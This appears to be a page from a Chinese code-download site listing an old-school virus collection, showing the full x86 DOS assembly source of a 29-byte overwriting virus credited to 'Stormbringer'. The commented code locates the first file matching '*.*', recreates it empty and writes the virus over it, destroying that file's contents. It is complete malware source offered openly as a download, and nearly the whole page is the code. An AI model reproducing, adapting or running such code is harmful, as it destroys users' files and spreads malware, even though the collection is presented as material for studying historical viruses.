⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 29bytes.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;Smallest in the trivial series of viruses, I think.... 
;Last I saw was 30 bytes - this one goes to 29.
;Code by Stormbringer... stupid virus, but small.

.model tiny
.radix 16
.code
        org 100
start:
        
FindFile:        
        xchg    cx,ax           ;ax defaults to zero on runtime - cx doesn't
        push    si              ;si defaults to 100h under dos - use this l8r
        mov     dx,offset filemask
        mov     ah,4e
        int     21

OverwriteFile:
        mov     dx,9e
        mov     ah,3c
        int     21

WriteVirus:        
        xchg    bx,ax
        mov     ah,40
        pop     dx              ;get 100h from si earlier for write pointer
        mov     cl,endvir-start ;move only to CL, CH is already zero
        int     21

Terminate:
        ret                     ;terminate by returning to PSP (Int 20)

filemask        db      '*.*',0
endvir:
end start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -